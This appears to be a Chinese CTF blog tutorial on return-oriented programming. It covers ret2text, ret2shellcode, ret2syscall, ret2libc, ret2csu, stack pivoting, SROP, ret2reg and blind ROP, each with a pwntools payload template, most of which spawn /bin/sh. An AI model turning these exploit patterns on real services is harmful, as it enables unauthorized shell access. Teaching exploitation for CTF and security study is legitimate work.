1 Days -- ROP基本原理
网络安全 pwn 13

1. ret2text:最简单的跳转

这是最基础的栈溢出利用方式。 适用场景:程序中本身就包含后门函数(如直接调用 system("/bin/sh") 的函数)或者敏感指令。 攻击逻辑

  1. 计算栈溢出偏移量。

  2. 直接将返回地址(Return Address)覆盖为程序中已有的后门函数地址。

  3. 程序函数返回时,直接跳转到后门执行。

Python

from pwn import *

# io = process('./pwn')
target_addr = 0x0804863A  # 假设这是通过 IDA 找到的后门函数地址
offset = 112              # 假设这是计算出的溢出偏移

payload = flat([
    b'A' * offset,
    target_addr
])

# io.sendline(payload)
# io.interactive()

2. ret2shellcode:手动写入指令

适用场景:程序未开启 NX 保护(堆栈可执行),且我们能够向某个可控内存区域(如栈或bss段)写入数据。 攻击逻辑

  1. 构造一段 Shellcode(机器码)。

  2. 利用栈溢出将返回地址覆盖为存储 Shellcode 的内存地址。

  3. 程序跳转执行 Shellcode。 注意:在 ASLR 开启时,栈地址会变动,通常需要结合 jmp esp 或寄存器泄露来定位 Shellcode。

Python

from pwn import *

context(arch='i386', os='linux') # 设置架构,用于生成 shellcode

# io = process('./pwn')
shellcode = asm(shellcraft.sh()) # 自动生成获取 shell 的汇编代码
buf_addr = 0xffffce00            # 假设这是通过调试确定的 buf 地址

payload = flat([
    shellcode,                   # 先放入 shellcode
    b'A' * (112 - len(shellcode)), # 填充剩余空间
    buf_addr                     # 覆盖返回地址指向 buf 开头
])

# io.sendline(payload)

3. ret2syscall:静态编译的利器

适用场景:程序是静态编译的(没有 system 函数,也没有 libc 库),或者开启了 NX 保护。 攻击逻辑: 利用程序自带的 Gadgets(代码片段),手动构造系统调用(System Call)。在 Linux x86 中,需要满足以下寄存器状态来触发 execve("/bin/sh", 0, 0)

  • EAX = 0xb (11,即 execve 的系统调用号)

  • EBX = "/bin/sh" 的地址

  • ECX = 0

  • EDX = 0

  • 最后执行 int 0x80 指令。

Python

from pwn import *

# io = process('./pwn')
# ROPgadget --binary pwn --only "pop|ret|int" 查找 gadget

pop_eax_ret = 0x080xx...
pop_edx_ecx_ebx_ret = 0x080xx...
int_0x80 = 0x080xx...
binsh_addr = 0x080xx... # 数据段中写入的 /bin/sh 地址

payload = flat([
    b'A' * offset,
    pop_eax_ret, 0xb,           # 设置 EAX = 11
    pop_edx_ecx_ebx_ret, 0, 0, binsh_addr, # 设置 EDX=0, ECX=0, EBX='/bin/sh'
    int_0x80                    # 触发中断
])

4. ret2libc:动态链接的标准打法

适用场景:最常见的场景。程序开启 NX,动态链接 libc 库。 攻击逻辑

  1. 泄露(Leak):利用 putswrite 输出 GOT 表中已解析函数的真实地址。

  2. 计算LibcBase = Leaked_Addr - Offset

  3. 构造System_Addr = LibcBase + System_Offset

  4. 再次溢出:返回到 system 函数并传入 /bin/sh

Python

from pwn import *

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

# 1. 构造 ROP 泄露地址
pop_rdi = 0x4006c3 # pop rdi; ret
payload1 = flat([
    b'A' * offset,
    pop_rdi, elf.got['puts'], # rdi = puts_got
    elf.plt['puts'],          # 调用 puts
    elf.symbols['main']       # 返回 main
])
# io.sendline(payload1)
# leaked_addr = u64(io.recv(6).ljust(8, b'\x00'))

# 2. 计算并再次攻击
libc.address = leaked_addr - libc.symbols['puts']
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))

payload2 = flat([
    b'A' * offset,
    pop_rdi, binsh_addr,
    system_addr
])

4. ret2csu:x64 下的万能 Gadget

适用场景:在 64 位程序中,我们需要利用寄存器传递参数(RDI, RSI, RDX)。但有时程序很小,找不到像 pop rdx; ret 这样的 Gadget。 核心原理: 几乎所有动态链接的 64 位 Linux 程序都会调用 __libc_csu_init 函数来进行初始化。该函数内部有两段非常有用的汇编代码(Gadgets):

  1. Gadget 1 (POP 链):将栈上的数据弹出到 rbx, rbp, r12, r13, r14, r15 寄存器。

  2. Gadget 2 (MOV/CALL 链):将 r13, r14, r15 的值移动到 edi, rsi, rdx(即前三个参数寄存器),并调用 [r12 + rbx*8] 指向的函数。

通过精心构造栈布局,我们可以利用这两个 Gadget 控制前三个参数并调用任意函数。

Python

from pwn import *

elf = ELF('./pwn')

# Gadget 1: pop rbx, rbp, r12, r13, r14, r15; ret
csu_pop_addr = 0x40061a  
# Gadget 2: mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
csu_mov_addr = 0x400600 

def csu(rbx, rbp, r12, r13, r14, r15, ret_addr):
    payload = flat([
        csu_pop_addr,   # 跳转到 Gadget 1
        rbx,            # usually 0 (for loop control)
        rbp,            # usually 1 (to pass check: cmp rbx, rbp)
        r12,            # Function Pointer (call target)
        r13,            # -> RDI (Arg1)
        r14,            # -> RSI (Arg2)
        r15,            # -> RDX (Arg3)
        csu_mov_addr,   # 跳转到 Gadget 2
        b'A' * 56,      # 填充栈平衡 (Gadget 2 执行后会做一系列 pop)
        ret_addr        # 返回地址
    ])
    return payload

# 示例:利用 write(1, write_got, 8) 泄露地址
# 注意:r12 必须是一个指向函数地址的指针(如 GOT 表地址),不能是直接的函数地址
payload = b'A' * offset
payload += csu(0, 1, elf.got['write'], 1, elf.got['write'], 8, elf.symbols['main'])

# io.sendline(payload)

5. Stack Migration (栈迁移):空间换取时间

适用场景:存在栈溢出漏洞,但是可溢出的字节数非常少(例如只能覆盖返回地址和几十个字节),无法容纳完整的 ROP 链。 核心原理: 利用 leave; ret 指令劫持栈指针(ESP/RSP)。

  • leave 等价于 mov esp, ebp; pop ebp

  • 我们可以修改栈上的 EBP 为一个我们可控的内存地址(如 .bss 段或 Heap),然后执行 leave; ret

  • 这会将 ESP 转移到我们要去的地方(Fake Stack),然后在那里执行我们在那里预先布置好的长 ROP 链。

Python

from pwn import *

# 假设我们需要迁移到 .bss 段的一个固定地址
bss_addr = 0x0804a000
leave_ret = 0x08048458 # gadget

# 第一步:往目标区域(如 bss)写入真正的 ROP 链
# 假设我们可以通过 read 输入两次,第一次写 payload 到 bss
payload_rop = flat([
    func_plt,          # 真正的攻击链
    func_ret,
    func_args
])
# io.send(payload_rop) 

# 第二步:栈迁移
# 覆盖 EBP 为 (目标地址 - 4),覆盖 Ret Addr 为 leave_ret
payload_migration = flat([
    b'A' * offset,          # 填充到 EBP 前
    bss_addr - 4,           # Fake EBP (leave 会 pop 这里的地址给 ebp,虽然这步不关键,关键是 esp 变了)
    leave_ret               # 劫持 ESP 到 bss_addr
])

# io.send(payload_migration)

6. SROP (Sigreturn ROP):一次性控制所有寄存器

适用场景:系统调用极其便利,或者严重缺乏 Gadget。需要程序中存在 syscall 且能控制 rax 为 15 (x64) 或 119 (x86)。 核心原理: 利用 Linux 的信号处理机制。当信号处理函数返回时,内核会调用 sigreturn 系统调用,它会将栈上的数据(Sigcontext 结构体)全部恢复到 CPU 寄存器中。

  • 攻击者在栈上伪造一个 Sigcontext 结构体。

  • 触发 sigreturn 系统调用。

  • CPU 将按照我们的设定,一次性更新 RIP, RSP, RDI, RSI, RDX... 等所有寄存器,从而直接完成 execve("/bin/sh",0,0)

Python

from pwn import *

context.arch = 'amd64' # 必须指定架构
elf = ELF('./pwn')

syscall_ret = 0x40053b # 寻找 syscall gadget

# 1. 构造 Sigreturn Frame
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = 0x400600   # /bin/sh 地址
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret # 执行完 sigreturn 后,rip 指向 syscall 指令执行 execve

# 2. 触发 sigreturn
# 前提:需要想办法让 RAX = 15,然后调用 syscall
# 这里假设我们可以通过 read 读取 15 字节来控制 RAX 返回值,然后栈溢出跳转到 syscall
payload = flat([
    b'A' * offset,
    syscall_ret,      # 第一次 syscall,触发 sigreturn
    bytes(frame)      # 伪造的栈帧
])

# io.sendline(payload)

7. ret2reg:动态地址的盲跳

适用场景:ASLR 开启,栈地址随机,但我们注入的 Shellcode 刚好被某个寄存器(如 RAX, RCX)指向。 核心原理: 不使用硬编码的地址覆盖返回地址,而是寻找 call registerjmp register(如 call eax, jmp esp)这样的指令地址。 将返回地址覆盖为该指令的地址,程序返回时执行 jmp eax,直接跳到寄存器指向的 Shellcode 处执行。

Python

from pwn import *

# io = process('./pwn')
# 假设通过调试发现 shellcode 存放在栈上,且函数返回时 EAX 指向 shellcode 开头
call_eax = 0x08048321 # ROPgadget 找到的地址

shellcode = asm(shellcraft.sh())
payload = flat([
    shellcode,
    b'A' * (offset - len(shellcode)),
    call_eax    # 覆盖返回地址,跳转到 call eax
])

8. BROP (Blind ROP):盲打

适用场景无二进制文件,只有远程服务 IP 和端口,且 Web Server 会在崩溃后重启(Fork 模式)。 攻击逻辑: 这是一个复杂的探测过程,像瞎子摸象一样还原程序结构。

  1. 爆破栈溢出长度:逐字节增加输入,直到连接中断(Crash),确定 Offset。

  2. 寻找 Stop Gadget:寻找一个地址,使得程序不崩溃并正常挂起(通常是主循环或 sleep),以此作为“信标”。

  3. 寻找 BROP Gadget:利用 Stop Gadget 作为返回判断,扫描出 pop rdi; ret 等通用 Gadget(通常是扫描 __libc_csu_init)。

  4. Dump 内存:利用 writeputs 将程序内存打印出来,还原二进制文件。

  5. 常规 ROP:有了 Binary 后,就转变为常规的 ret2libc。

Python

def check_stop_gadget(addr):
    payload = b'A' * offset + p64(addr)
    try:
        io.send(payload)
        io.recvline(timeout=1) # 如果没有崩且有回显/保持连接
        return True
    except:
        return False

# 1. 爆破 Canary (如果存在) - 逐字节爆破
# 2. 扫描 Stop Gadget (从 0x400000 开始扫 text 段)
addr = 0x400000
while True:
    if check_stop_gadget(addr):
        print(f"Found stop gadget: {hex(addr)}")
        break
    addr += 1

1 Days -- ROP基本原理
https://www.kiki1e.top/archives/wei-ming-ming-wen-zhang
作者
kiki1e
发布于
更新于
许可